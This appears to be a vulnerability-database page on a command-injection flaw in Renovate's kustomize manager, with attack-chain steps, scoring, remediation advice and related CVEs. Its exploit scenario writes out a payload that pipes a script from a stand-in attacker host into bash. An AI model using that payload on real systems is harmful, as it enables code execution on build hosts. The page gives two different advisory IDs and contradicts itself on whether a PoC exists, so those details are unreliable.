Skip to main content

Renovate EUVDEUVD-2026-62470

| CVE-2026-76229 HIGH
Command Injection (CWE-77)
2026-08-19 VulnCheck GHSA-5gfg-jpw3-fppq
8.4
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Gain repository write access
  2. Delivery
    Push crafted kustomization.yaml with shell-injected chart name
  3. Exploit
    Host fake Helm repo returning malicious chart name in index.yaml
  4. Execution
    Wait for Renovate scheduled or triggered scan
  5. Persist
    Unsanitized depName concatenated into helm pull shell command
  6. Impact
    Arbitrary commands execute on Renovate host with runner privileges

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Command injection prevention
MITRE ATT&CK

1 technique across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Three specific conditions must be simultaneously satisfied: first, the attacker must have git write access to at least one repository that the target Renovate instance is configured to scan - read-only access is insufficient; second, the Renovate configuration for that repository must include kustomizeInflateHelmCharts in the postUpdateOptions array of renovate.json5 - this is not enabled by default and repositories without it are not exposed to this code path; third, the attacker must be able to serve a Helm repository (accessible over HTTPS) whose index.yaml returns an entry whose chart name contains the injected payload, matching the chart referenced in the crafted kustomization.yaml. There is no requirement for access to the Renovate host itself. The combination of non-default configuration and repository write access meaningfully constrains the exploitable population beyond the raw CVSS score suggests.

Impact

The CVSS 4.0 score of 8.4 with vector AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H reflects high impact bounded by meaningful prerequisites. No EPSS data was provided for this CVE. Real-world risk is significant for organizations running self-hosted Renovate or Renovate in CI pipelines where multiple contributors have repository write access, because the Renovate host often holds privileged credentials (container registry tokens, Kubernetes kubeconfigs, cloud provider secrets). The published PoC dramatically lowers the exploitation bar - an attacker only needs to understand git and basic Helm repo structure. The key risk limiter is the non-default kustomizeInflateHelmCharts postUpdateOption: organizations not using this feature are not exposed, but those managing kustomize-based Helm deployments are exactly the population most likely to have it enabled. This vulnerability is not in CISA KEV, and no widespread exploitation has been reported. CVSS indicates AV:L (local access context), which may understate network-delivery risk since the payload traverses the network via git and Helm repository channels - the discrepancy should be verified with the vendor.

Exploit ScenarioDerived

An attacker with write access to a repository scanned by Renovate pushes a kustomization.yaml containing a chart name with embedded shell metacharacters (e.g., example || curl attacker.com/shell.sh | bash) and updates renovate.json5 to enable kustomizeInflateHelmCharts, then hosts a fake Helm repository whose index.yaml returns the same malicious chart name. When Renovate next scans the repository - on schedule or triggered - it passes the unsanitized chart name to helm pull --untar, causing the injected commands to execute with Renovate's runtime privileges on the host machine. A PoC demonstrating this exact flow, resulting in termination of the root container process via kill 1, was published in the GHSA advisory.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.7% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 19, 2026

Command injection in Renovate's kustomize manager (versions 39.218.0 through 40.33.0) allows repository contributors with write access to execute arbitrary shell commands on the Renovate host machine by embedding crafted chart names in kustomization.yaml files that bypass shell escaping in helm pull invocations. A detailed proof-of-concept demonstrating process termination via kill 1 against a Docker-hosted Renovate runner was published with GHSA-xv56-3wq5-9997, confirming exploitability - though no confirmed active exploitation (CISA KEV) has been observed. Exploitation is constrained by the requirement for both repository write access and the non-default kustomizeInflateHelmCharts postUpdateOption.

RemediationAI

Upgrade Renovate to version 40.33.0 or later, which applies proper shell quoting via shlex.quote() to the depName argument in helmRepositoryArgs, eliminating the injection vector. The patch commit is https://github.com/renovatebot/renovate/commit/cc08c6e98f19e6258c5d3180c70c98e1be0b0d37 and the vendor security advisory is https://github.com/renovatebot/renovate/security/advisories/GHSA-xv56-3wq5-9997. As an immediate compensating control where upgrade is not possible, remove kustomizeInflateHelmCharts from postUpdateOptions in all renovate.json5 configurations - this closes the vulnerable code path entirely but disables Helm chart inflation for kustomization files, requiring manual chart management as a trade-off. Additionally, restrict repository write access to the minimum set of trusted contributors to reduce the attacker population; this does not eliminate the vulnerability but narrows exposure.

Affected VersionsENISA

renovate 39.218.0 <40.33.0

Affected Packages

npm renovate fix: 40.33.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Renovate is a dependency update automation tool (npm package renovate) that manages automated version bumps across multiple package managers and IaC formats including Kubernetes Kustomize. When the kustomizeInflateHelmCharts postUpdateOption is enabled, Renovate's kustomize manager invokes helm pull --untar to fetch and inflate Helm charts referenced in kustomization.yaml. The vulnerable code path is the helmRepositoryArgs function in lib/modules/manager/kustomize/artifacts.ts, where the depName field (chart name sourced from the repository file) is interpolated directly into the shell command without invoking shlex.quote() for sanitization. CWE-77 (Improper Neutralization of Special Elements used in a Command) is the root cause - unsanitized user-controlled strings are concatenated into shell commands, allowing metacharacters such as ||, ;, and & to inject additional commands. The affected CPE is cpe:2.3:a:renovatebot:renovate:*:*:*:*:*:*:*:* covering versions 39.218.0 through 40.33.0. The flaw was introduced in commit history beginning at version 39.218.9 on March 26, 2025.

Know when Renovate gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 8.4 HIGH
CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
vuln.today AI 9.1 CRITICAL

Payload delivered via network (git push and remote Helm repo); PR:H for required repository write access; S:C because arbitrary commands execute on the distinct Renovate host machine.

3.1 AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Red Hat 6.7 MEDIUM

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Local
Attack Complexity
Low
Attack Requirements
None
Privileges Required
High
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

DescriptionCVE.org

Renovate versions from 39.218.0 before 40.33.0 contain an arbitrary command injection vulnerability in the kustomize manager where user-provided chart names are appended to helm pull commands without proper sanitization. Attackers with repository write access can craft malicious kustomization.yaml files with specially crafted chart names to execute arbitrary commands on the Renovate host machine.

Executive ViewAI

Why It Matters

Renovate versions 39.218.0-40.33.0 contain a command injection flaw in the kustomize manager that could allow repository contributors to execute arbitrary commands on build infrastructure, risking supply chain compromise. Exploitation requires both repository write access and the non-default kustomizeInflateHelmCharts postUpdateOption, limiting but not eliminating organizational risk to teams running affected versions.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.7%
Top 49% exploitable
Prevalence
High
widely-used dependency automation tool across enterprise DevOps and CI/CD pipelines
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment Vendor GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.7%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Small
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

43
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +42
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

CVE-2026-88880 CRITICAL
9.2 Sep 10

Credential exfiltration in Renovate before 44.11.3 lets a malicious or compromised GitLab server steal the authenticatio

CVE-2026-88887 CRITICAL
9.2 Sep 10

Credential exfiltration in Renovate (renovatebot/renovate) before 44.11.2 lets a malicious or compromised container regi

CVE-2026-88882 CRITICAL
9.2 Sep 10

Credential exfiltration in Renovate before 44.11.2 (and Mend Renovate CE/EE images/charts before 15.4.0, enterprise-edit

CVE-2026-88881 CRITICAL
9.2 Sep 10

Credential disclosure in Renovate before 44.11.3 allows a malicious or compromised GitHub server to exfiltrate host cred

CVE-2026-88889 HIGH
8.5 Sep 10

Command injection in Renovate's Maven Wrapper manager allows an attacker with write access to a scanned repository to ex

CVE-2026-76231 HIGH
8.4 Aug 19

Command injection in Renovate's hermit manager (versions 32.135.0 through 40.33.0) allows an attacker with repository wr

CVE-2026-76232 HIGH
8.4 Aug 19

Command injection in Renovate's helmv3 manager (versions 31.51.0 through 40.32.x) allows repository contributors with wr

CVE-2026-76230 HIGH
8.4 Aug 19

Command injection in Renovate's npm manager (versions 35.63.0 through 40.33.0) allows attackers with repository write ac

CVE-2026-76233 HIGH
8.4 Aug 19

Command injection in Renovate's gleam manager (versions 39.53.0 through 40.33.0 exclusive) allows attackers with reposit

CVE-2026-76228 HIGH
8.4 Aug 19

Command injection in Renovate's Gradle Wrapper update mechanism allows arbitrary code execution inside the Renovate runt

CVE-2026-88886 HIGH
8.5 Sep 10

Command injection in Renovate's Gradle Wrapper manager module allows a repository contributor to execute arbitrary OS co

CVE-2026-88883 HIGH
8.3 Sep 10

Incomplete log sanitization in Renovate before 44.14.4 causes Mutual TLS private keys to be written in cleartext to appl

Vendor StatusVendor

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy